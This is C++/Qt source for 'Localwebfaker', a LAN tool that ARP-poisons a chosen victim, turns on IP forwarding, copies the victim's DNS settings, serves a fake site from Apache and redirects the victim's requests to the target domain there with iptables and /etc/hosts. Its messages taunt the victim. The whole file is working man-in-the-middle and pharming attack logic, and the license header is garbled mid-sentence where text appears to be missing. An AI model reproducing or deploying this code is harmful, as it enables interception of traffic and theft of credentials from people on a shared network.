/* * Localwebfaker - Web sites faker for LAN * Copyright (C) 2007-2009 Lucas J. González * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see interfaz = interfaz ; this->victima = victima ; this->gateway = gateway ; this->dominio = dominio ; this->docroot = docroot ; this->miIP = miIP ; } void Configurar::run() { cf = new Config() ; aspof = new arpSpoofer( interfaz, victima, gateway ) ; connect(cf, SIGNAL(ipfwDone(QString)), this, SLOT(ipfwDone(QString))) ; connect(cf, SIGNAL(siteDone( QString )), this, SLOT(siteDone(QString)) ) ; connect(cf, SIGNAL(resolvDone( QString )), this, SLOT(resolvDone(QString)) ) ; connect(cf, SIGNAL(iptablesDone( QString )), this, SLOT(iptablesDone(QString)) ) ; connect(cf, SIGNAL(hostDone( QString )), this, SLOT(hostDone(QString)) ) ; connect(cf, SIGNAL(webServDone( QString )), this, SLOT(webServDone(QString)) ) ; connect(cf, SIGNAL(iptables_can_go( QString )), this, SLOT(go_iptables()) ) ; connect(aspof, SIGNAL(started()), this, SLOT(ArpIniciado()) ) ; connect(aspof, SIGNAL(newArpOutput( QString )), this, SLOT(handleArpOut( QString ) ) ) ; connect(aspof, SIGNAL(arpDetenido()), this, SLOT(handleArpStop() ) ) ; sleep(1) ; cf->resolvConfig( interfaz, victima ) ; sleep(1) ; cf->ipfwConfig() ; sleep(1) ; cf->siteConfig( dominio, docroot ) ; sleep(1) ; cf->webServStart() ; // sleep(1) ; // cf->iptablesConfig( victima, dominio, miIP ) ; // <- This is done when signal gotResolv is emitted aspof->start() ; QEventLoop *eventloop = new QEventLoop() ; eventloop->exec() ; exec(); } // SLOTS void Configurar::newMsgOut(QString msg) { emit msgOut(msg) ; } void Configurar::ipfwDone(QString msg) { emit msgOut(msg) ; emit atMsgOut(QString("
IP forwarding.. IP forwarding at kernel level is enabled. We are now acting as gateway for " + victima + " ;).")) ; } void Configurar::siteDone(QString msg) { emit msgOut(msg) ; emit atMsgOut(QString("
VirtualHost ready.. A new VirtualHost file for " + dominio + " is in place.")) ; } void Configurar::resolvDone(QString msg) { emit msgOut(msg) ; emit atMsgOut(QString("
resolv.conf ready.. Now we are using the same DNS server as our victim. Theorically, we will intercept every request to " + dominio + ".")) ; } void Configurar::iptablesDone(QString msg) { emit msgOut(msg) ; emit atMsgOut(QString("
iptables configured. All the web requests from " + victima + " to " + dominio + " are being redirected to your fake site.")) ; } void Configurar::hostDone(QString msg) { emit msgOut(msg) ; emit atMsgOut(QString("
hosts file ready.. We have appended a line for " + dominio + " to /etc/hosts. For this system, we are " + dominio + ".")) ; } void Configurar::webServDone(QString msg) { emit msgOut(msg) ; emit atMsgOut(QString("
Web server ready.. Apache2 is now accepting connections on port 80.")) ; } void Configurar::ArpIniciado() { emit msgOut(QString("Arp Poisoning started")) ; emit atMsgOut(QString("
Arp Poisoning " + victima + ". Now, every request from " + victima + " is being intercepted by us.")) ; emit atMsgOut(QString("
Waiting for " + victima + " to make some DNS requests ...")) ; } void Configurar::pararArp() { aspof->exit() ; std::cout << "Restoring: arp poisoning" << std::endl ; } void Configurar::handleArpOut( QString arpmsg ) { emit newArpOut( arpmsg ) ; } void Configurar::handleArpStop() { std::cout << "Restoring: arp poisoning" << std::endl ; } void Configurar::go_iptables() { std::cout << " OK message from go_iptables()" << std::endl ; cf->iptablesConfig( victima, dominio, miIP ) ; sleep(1) ; cf->hostConfig( dominio, miIP ) ; }